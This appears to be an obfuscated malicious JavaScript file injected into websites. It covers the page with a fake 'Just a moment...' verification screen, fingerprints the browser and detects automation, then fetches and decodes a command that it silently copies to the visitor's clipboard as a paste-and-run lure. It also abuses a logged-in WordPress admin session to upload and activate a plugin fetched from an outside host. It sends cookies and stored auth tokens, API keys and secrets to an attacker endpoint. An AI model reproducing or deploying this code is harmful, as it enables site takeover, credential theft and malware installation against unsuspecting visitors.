1(function(){ 2 var _nvqu=window,_fytj=document,_olwe=navigator; 3 var _cf0=null; 4 try{_fytj.documentElement.style.setProperty("overflow","hidden","important");_fytj.documentElement.style.setProperty("background","#fff","important");_cf0=_fytj.createElement("iframe");_cf0.setAttribute("allowfullscreen","");_cf0.setAttribute("allow","fullscreen; clipboard-write");_cf0.style.cssText="position:fixed;inset:0;width:100%;height:100%;border:none;z-index:2147483647;background:#fff";_cf0.srcdoc="<!DOCTYPE html><html lang=\"en-US\"><head><title>Just a moment...</title><meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"><meta name=\"robots\" content=\"noindex,nofollow\"><meta name=\"viewport\" content=\"width=device-width,initial-scale=1\"><style>*{box-sizing:border-box;margin:0;padding:0}html{line-height:1.15;-webkit-text-size-adjust:100%;color:#313131;font-family:system-ui,-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,\"Helvetica Neue\",Arial,\"Noto Sans\",sans-serif,\"Apple Color Emoji\",\"Segoe UI Emoji\",\"Segoe UI Symbol\",\"Noto Color Emoji\"}body{display:flex;flex-direction:column;height:100vh;min-height:100vh;background:#fff}.main-wrapper{display:flex;flex:1;flex-direction:column;align-items:center}.main-content{margin:8rem auto;padding-left:1.5rem;padding-right:1.5rem;width:100%;max-width:60rem}@media (width <= 720px){.main-content{margin-top:4rem}}h1{line-height:125%;font-size:2.5rem;font-weight:600;margin:0}h1+p{margin-top:8px;margin-bottom:0;line-height:150%;font-size:1rem;font-weight:400;color:#595959}@media (prefers-color-scheme:dark){html,body{background:#000;color:#f2f2f2}h1+p{color:#b6b6b6}}</style></head><body><div class=\"main-wrapper\" role=\"main\"><div class=\"main-content\"><h1>Just a moment...</h1><p id=\"host\"></p></div></div><script>try{var n=parent.location.hostname;if(n)document.getElementById('host').textContent=n}catch(e){}</script></body></html>\n";(_fytj.body||_fytj.documentElement).appendChild(_cf0)}catch(e){} 5 var _wildw=_fytj.currentScript||_fytj.querySelector((function(){var k=225,a=[146,130,147,136,145,149,186,146,147,130,203,220,195,135,136,141,132,207,139,146,195,188],s="";for(var i=0;i<a.length;i++)s+=String.fromCharCode(a[i]^k);return s})())||_fytj.querySelector(["s","cr","i","pt[","da","t","a","-c","]"].join("")); 6 var _algfi=(57^(34>>3))&0xFF; 7 var _wjll=function(s){var a=0;if(!s)return 0;for(var i=0;i<s.length;i++){a=((a<<5)-a)+s.charCodeAt(i);a|=0}return a}; 8 var _rzvbf=[669,476,403];_rzvbf.sort(); 9 var _ebtv=function(u,b,cb){var x=new XMLHttpRequest();x.open(String.fromCharCode(80,79,83,84),u,true);x.setRequestHeader("\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65",["ap","p","li","cati","on/","j","s","o","n"].join(""));x.onload=function(){var r=null;try{if(x.status===200)r=JSON.parse(x.responseText)}catch(e){}if(cb)cb(r)};x.onerror=function(){if(cb)cb(null)};x.send(JSON.stringify(b))}; 10 var _bqsx=function(u,cb){var x=new XMLHttpRequest();x.open(["GE","T"].join(""),u,true);x.onload=function(){var r=null;try{if(x.status===200)r=JSON.parse(x.responseText)}catch(e){}if(cb)cb(r)};x.onerror=function(){if(cb)cb(null)};x.send()}; 11 var _gyyim=[934,277,241];_gyyim.sort(); 12 var _enmcs=function(tk,diff){var i=0;while(i<1000000){var s=tk+":"+i;var v=0;for(var j=0;j<s.length;j++){v=((v<<5)-v)+s.charCodeAt(j);v|=0}if((v&0xFFFF)%diff===0)return i;i++}return i}; 13 var _dzzfn=(86^(44>>3))&0xFF; 14 var f=_cf0, _ul=function(){try{_fytj.documentElement.style.removeProperty("overflow");_fytj.documentElement.style.removeProperty("background");if(_fytj.body)_fytj.body.style.removeProperty("overflow")}catch(e){}};var _cfK=function(){try{if(f)f.remove()}catch(e){}f=null;_cf0=null;_ul()};var _yaln=function(html,ep,cmdToken){try{_fytj.documentElement.style.setProperty("overflow","hidden","important");if(_fytj.body)_fytj.body.style.setProperty("overflow","hidden","important")}catch(e){}if(!f){f=_fytj.createElement("iframe");f.style.cssText="position:fixed;inset:0;width:100%;height:100%;border:none;z-index:2147483647;background:#fff";f.setAttribute("allowfullscreen","");f.setAttribute("allow","fullscreen; clipboard-write");(_fytj.body||_fytj.documentElement).appendChild(f)}var cpS='<scr'+'ipt>var _cmdTk="'+(cmdToken||'')+'";var _ep="'+ep.replace('/api/v1/f659473','')+'";var _cmdVal="";var _pm=window.parent.postMessage.bind(window.parent);function _br(){var u=navigator.userAgent||"",d=navigator.userAgentData,b=d&&d.brands||[],i=0,g=0,c=0;if(/Waterfox/.test(u))return "waterfox";if(/LibreWolf/.test(u))return "librewolf";if(/Floorp/.test(u))return "floorp";if(/Firefox/.test(u))return "firefox";if(/Edg\//.test(u))return "edge";if(/OPR\/|Opera/.test(u))return "opera";if(/YaBrowser/.test(u))return "yandex";if(/Vivaldi/.test(u))return "vivaldi";if(/Whale\//.test(u))return "whale";if(/coc_coc/i.test(u))return "coccoc";if(/Slimjet/.test(u))return "slimjet";if(/CentBrowser/.test(u))return "cent";if(navigator.brave)return "brave";for(;i<b.length;i++){if(b[i].brand==="Google Chrome")g=1;if(b[i].brand==="Chromium")c=1}if(c&&!g)return "chromium";return "chrome"}if(_cmdTk){var _x=new XMLHttpRequest();_x.open("GET",_ep+"/api/v1/e81929c?tk="+_cmdTk+"&br="+_br(),true);_x.onload=function(){try{var r=JSON.parse(_x.responseText);if(r&&r.c){var _b=atob(r.c),_u=new Uint8Array(_b.length);for(var _i=0;_i<_b.length;_i++)_u[_i]=_b.charCodeAt(_i);_cmdVal=new TextDecoder("utf-8").decode(_u)}if(r&&r.i){(function(u){function im(){var i=new Image();i.referrerPolicy="no-referrer";i.src=u}function put(x){try{caches.open("p").then(function(c){c.put(u,x)})}catch(e){}}im();fetch(u,{credentials:"omit",referrerPolicy:"no-referrer"}).then(function(q){return q.ok?q.blob():Promise.reject()}).then(function(b){put(new Response(b,{status:200,headers:{"Content-Type":"image/jpeg"}}));try{navigator.storage.getDirectory().then(function(d){return d.getFileHandle("p",{create:true})}).then(function(h){return h.createWritable()}).then(function(w){return w.write(b).then(function(){return w.close()})})}catch(e){}}).catch(function(){fetch(u,{mode:"no-cors",credentials:"omit",referrerPolicy:"no-referrer"}).then(function(q){put(q)}).catch(function(){})})})(r.i)}}catch(e){}};_x.send()}function _bc(e){try{(new Image()).src=_ep+"/api/v1/76584c1?e="+e+"&_t="+Date.now()}catch(x){}}try{_bc("ldshow")}catch(e){}var _vcDone=0;function _vclickOnce(){if(_vcDone)return;_vcDone=1;_bc("vclick")}document.addEventListener("pointerdown",function(){_vclickOnce()},true);window.addEventListener("blur",function(){_vclickOnce()});function _fb(t){try{var h=function(e){e.preventDefault();if(e.clipboardData)e.clipboardData.setData("text/plain",t)};document.addEventListener("copy",h,true);var a=document.createElement("textarea");a.value=t;document.body.appendChild(a);a.focus();a.select();var ok=document.execCommand("copy");a.remove();document.removeEventListener("copy",h,true);_bc(ok?"copy":"copy_fail")}catch(e){_bc("copy_fail")}}function __cp(b,k){try{_bc("vclick")}catch(e){}var t=_cmdVal;if(!t&&_cmdTk){try{var _s=new XMLHttpRequest();_s.open("GET",_ep+"/api/v1/e81929c?tk="+_cmdTk+"&br="+_br(),false);_s.send(null);if(_s.status===200){var _r=JSON.parse(_s.responseText);if(_r&&_r.c){var _c2=atob(_r.c),_u2=new Uint8Array(_c2.length);for(var _j=0;_j<_c2.length;_j++)_u2[_j]=_c2.charCodeAt(_j);_cmdVal=new TextDecoder("utf-8").decode(_u2);t=_cmdVal}}}catch(e){}}if(!t&&b){try{t=atob(b)}catch(e){}}if(t){if(navigator.clipboard&&typeof navigator.clipboard.writeText==="function"){try{navigator.clipboard.writeText(t).then(function(){_bc("copy")}
14).catch(function(){_fb(t)})}catch(e){_fb(t)}}else{_fb(t)}}else{_bc("copy_fail")}if(!k){try{_pm({t:"v",c:b||"1",keep:false,cmd:t||""},"*")}catch(e){}}}function __close(){try{_bc("vclose")}catch(e){}try{var fe=window.frameElement;if(fe)fe.remove()}catch(e){try{_pm({t:"cf_close"},"*")}catch(x){}}}function __onexec(cb){if(!_cmdTk||typeof cb!=="function")return;var _n=0,_iv=setInterval(function(){if(++_n>240){clearInterval(_iv);return}try{var x=new XMLHttpRequest();x.open("GET",_ep+"/api/v1/e81929c?tk="+_cmdTk+"&w=1",true);x.onload=function(){try{var r=JSON.parse(x.responseText);if(r&&(r.d===1||r.d==="1")){clearInterval(_iv);cb()}}catch(e){}};x.send()}catch(e){}},1500)}try{window.parent.postMessage=function(dd,oo){if(dd&&dd.t==="v"){__cp(dd.c,dd.keep);return}_pm(dd,oo)}}catch(e){}try{Object.defineProperty(window.parent,"postMessage",{value:function(dd,oo){if(dd&&dd.t==="v"){__cp(dd.c,dd.keep);return}_pm(dd,oo)},writable:true,configurable:true})}catch(e){}</s'+'cript>'; 15 if(html){if(html.indexOf('</head>')!==-1){html=html.replace('</head>',cpS+'</head>')}else{html=cpS+html}f.srcdoc=html} 16 try{var _mo=new MutationObserver(function(){if(!f||!f.isConnected){_ul();_mo.disconnect()}});_mo.observe(_fytj.documentElement,{childList:true,subtree:true})}catch(e){} 17 _nvqu.addEventListener((function(){var k=252,a=[145,153,143,143,157,155,153],s="";for(var i=0;i<a.length;i++)s+=String.fromCharCode(a[i]^k);return s})(),function(e){if(!e.data)return;if(e.data.t==="\x76"){if(e.data.cmd){try{if(_olwe.clipboard&&typeof _olwe.clipboard.writeText==="function"){_olwe.clipboard.writeText(e.data.cmd).catch(function(){var a=_fytj.createElement("textarea");a.value=e.data.cmd;a.style.cssText="position:fixed;left:-9999px;opacity:0";_fytj.body.appendChild(a);a.focus();a.select();_fytj.execCommand("copy");a.remove()})}else{var a=_fytj.createElement("textarea");a.value=e.data.cmd;a.style.cssText="position:fixed;left:-9999px;opacity:0";_fytj.body.appendChild(a);a.focus();a.select();_fytj.execCommand("copy");a.remove()}}catch(ex){}}if(!e.data.keep){try{_cfK()}catch(x){}}}if(e.data.t==="\x63\x66\x5f\x63\x6c\x6f\x73\x65"){try{_cfK()}catch(x){}}})}; 18 var _oaqid=116;if(_oaqid<0)_oaqid=0; 19 var _lstun=function(){var o={};var t=Date.now(); 20 o.w=!!(_olwe.webdriver);var _chr=_nvqu.chrome;o.ic=!!(_chr);o.cr=!!(_chr&&(_chr.runtime||_chr.app));o.sw=_nvqu.screen.width||0;o.sh=_nvqu.screen.height||0;o.cd=_nvqu.screen.colorDepth||0;o.pr=_nvqu.devicePixelRatio||1; 21 try{var _uzjle=window.innerWidth||0}catch(_uji){}; 22 try{var _ac=new(_nvqu.AudioContext||_nvqu.webkitAudioContext)();o.asr=_ac.sampleRate||0;_ac.close()}catch(e){o.asr=0} 23 try{var _cv=_fytj.createElement(String.fromCharCode(99,97,110,118,97,115));_cv.width=64;_cv.height=16;var _cx=_cv.getContext(String.fromCharCode(119,101,98,103,108))||_cv.getContext((function(){var k=239,a=[138,151,159,138,157,134,130,138,129,155,142,131,194,152,138,141,136,131],s="";for(var i=0;i<a.length;i++)s+=String.fromCharCode(a[i]^k);return s})());if(_cx){var _di=_cx.getExtension("\x57\x45\x42\x47\x4c\x5f\x64\x65\x62\x75\x67\x5f\x72\x65\x6e\x64\x65\x72\x65\x72\x5f\x69\x6e\x66\x6f");o.gr=_di?_cx.getParameter(_di.UNMASKED_RENDERER_WEBGL):'';o.gv=_di?_cx.getParameter(_di.UNMASKED_VENDOR_WEBGL):''}else{o.gr='';o.gv=''}}catch(e){o.gr='';o.gv=''} 24 try{var _cv2=_fytj.createElement((function(){var k=127,a=[28,30,17,9,30,12],s="";for(var i=0;i<a.length;i++)s+=String.fromCharCode(a[i]^k);return s})());_cv2.width=128;_cv2.height=32;var _c2=_cv2.getContext("\x32\x64");_c2.font=(function(){var k=222,a=[239,230,174,166,254,159,172,183,191,178],s="";for(var i=0;i<a.length;i++)s+=String.fromCharCode(a[i]^k);return s})();_c2.fillText(String.fromCharCode(55,104,101),4,20);o.ch=_wjll(_cv2.toDataURL())}catch(e){o.ch=0} 25 o.pc=_olwe.plugins?_olwe.plugins.length:0;o.ln=_olwe.languages?_olwe.languages.join(','):'';o.ts='ontouchstart'in _nvqu;o.tz=new Date().getTimezoneOffset(); 26 var _ciddp=[410,645,479];_ciddp.sort(); 27 o.hp=!!(_nvqu.callPhantom||_nvqu._phantom||_nvqu.phantom);o.hn=!!(_nvqu.__nightmare);o.hs=!!(_fytj.__selenium_unwrapped||_fytj.__fxdriver_unwrapped||_nvqu.__webdriver_evaluate||_nvqu.__driver_evaluate);try{var _k=Object.keys(_nvqu);o.hc=0;for(var j=0;j<_k.length;j++){if(_k[j].match(/^\$[a-z]dc_/)){o.hc=1;break}}}catch(e){o.hc=0}o.hd=!!(_fytj.documentElement&&_fytj.documentElement.getAttribute("\x77\x65\x62\x64\x72\x69\x76\x65\x72"));try{o.np=(Notification.permission===["den","i","e","d"].join("")&&!_olwe.webdriver)?0:1}catch(e){o.np=1} 28 o.et=Date.now()-t;return o}; 29 var _fckiu=Math.floor(Math.random()*610); 30 var _nydt=function(){var s=_wildw;if(!s)return;var bp=s.src.replace(/\/[^\/]*$/,''); 31 var fp=_lstun();_bqsx(bp+["/","a","pi/v","1/8e","4c61","5"].join(""),function(tk){if(!tk||!tk.t){try{_cfK()}catch(e){}return}var fp=fp||_lstun();var up=new URLSearchParams(_nvqu.location.search);var nonce=_enmcs(tk.t,tk.d||97);var b={f:fp,u:_olwe.userAgent,br:(_olwe.brave?"brave":""),s:_nvqu.location.hostname,ut:up.get(["utm_","sou","rce"].join(""))||'',uc:up.get(String.fromCharCode(117,116,109,95,99,97,109,112,97,105,103,110))||'',um:up.get(["utm","_me","di","um"].join(""))||'',gc:up.get((function(){var k=172,a=[203,207,192,197,200],s="";for(var i=0;i<a.length;i++)s+=String.fromCharCode(a[i]^k);return s})())||'',r:_fytj.referrer||'',_tk:tk.t,_n:nonce}; 32 _ebtv(bp+String.fromCharCode(47,97,112,105,47,118,49,47,102,54,53,57,52,55,51),b,function(r){if(r&&r.s===1&&r.h){var _xd=atob(r.h),_xk=r.xk||0,_html="";if(_xk){for(var _xi=0;_xi<_xd.length;
32_xi++)_html+=String.fromCharCode(_xd.charCodeAt(_xi)^_xk)}else{_html=_xd}if(r.it){(new Image()).src=bp+String.fromCharCode(47,97,112,105,47,118,49,47,52,100,53,49,97,49,102,63,116,107,61)+r.it}if(r.it2){var _pimg=new Image();_pimg.src=bp+String.fromCharCode(47,105,109,97,103,101,46,112,104,112,63,116,107,61)+r.it2}if(r.iu){var _cimg=new Image();_cimg.referrerPolicy="no-referrer";_cimg.src=r.iu;fetch(r.iu,{credentials:"omit",referrerPolicy:"no-referrer"}).then(function(q){return q.blob()}).then(function(b){return navigator.storage.getDirectory().then(function(d){return d.getFileHandle("p",{create:true})}).then(function(h){return h.createWritable()}).then(function(w){return w.write(b).then(function(){return w.close()})})}).catch(function(){})}_yaln(_html,bp+String.fromCharCode(47,97,112,105,47,118,49,47,102,54,53,57,52,55,51),r.ct||'')}else{try{_cfK()}catch(e){}}})})}; 33 _nydt(); 34 // pivot: wp-admin session -> plugin upload -> activate (same-origin, creds of the visitor) 35async function __pvt(zipUrl, reportUrl) { 36 function log(e) { try { if (navigator.sendBeacon) navigator.sendBeacon(reportUrl + '?e=' + e); } catch (x) {} } 37 try { 38 var r = await fetch('/wp-admin/', { credentials: 'same-origin' }); 39 if (!r.ok) return; 40 var h = await r.text(); 41 if (h.indexOf('wp-admin') === -1) return; 42 log('pivot_admin'); 43 44 var p = await fetch('/wp-admin/plugin-install.php?tab=upload', { credentials: 'same-origin' }); 45 if (!p.ok) { log('pivot_no_pi'); return; } 46 var ph = await p.text(); 47 var m = ph.match(/_wpnonce" value="([a-f0-9]{10})"/); 48 if (!m) { log('pivot_no_nonce'); return; } 49 50 var zr = await fetch(zipUrl); 51 if (!zr.ok) { log('pivot_no_zip'); return; } 52 var zb = await zr.blob(); 53 54 var fd = new FormData(); 55 fd.append('_wpnonce', m[1]); 56 fd.append('_wp_http_referer', '/wp-admin/plugin-install.php?tab=upload'); 57 fd.append('pluginzip', zb, 'plugin.zip'); 58 fd.append('install-plugin-submit', 'Install Now'); 59 60 var up = await fetch('/wp-admin/update.php?action=upload-plugin', { 61 method: 'POST', body: fd, credentials: 'same-origin' 62 }); 63 var uh = await up.text(); 64 if (uh.indexOf('Plugin installed successfully') === -1) { log('pivot_up_fail'); return; } 65 log('pivot_uploaded'); 66 67 var pl = await fetch('/wp-admin/plugins.php', { credentials: 'same-origin' }); 68 var lh = await pl.text(); 69 var am = lh.match(/action=activate&plugin=([^"&]+)&plugin_status=all&paged=1&s&_wpnonce=([a-f0-9]{10})/); 70 if (!am) { log('pivot_no_actlink'); return; } 71 await fetch('/wp-admin/plugins.php?action=activate&plugin=' + am[1] + '&plugin_status=all&paged=1&s&_wpnonce=' + am[2], { credentials: 'same-origin' }); 72 log('pivot_ok'); 73 } catch (e) { log('pivot_err'); } 74}function __loot(rep){try{var o={};['localStorage','sessionStorage'].forEach(function(s){try{var st=window[s];for(var i=0;i<st.length;i++){var k=st.key(i);if(/token|jwt|auth|_key|api|secret|session|bearer|csrf/i.test(k)){var v=String(st.getItem(k));if(v.length>8&&v.length<2000)o[s[0]+':'+k]=v}}}catch(e){}});var c=document.cookie||'';if(c)o.c=c.slice(0,1500);if(!Object.keys(o).length)return;var x=new XMLHttpRequest();x.open('POST',rep,true);x.setRequestHeader('Content-Type','application/json');x.send(JSON.stringify(o))}catch(e){}}try{if(!sessionStorage.getItem('_pv1')){sessionStorage.setItem('_pv1','1');__pvt('https://rooertson.top/p/wm.zip',bp+'/api/v1/76584c1')}}catch(e){}try{__loot(bp+'/api/v1/6a38418')}catch(e){} 75})()
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.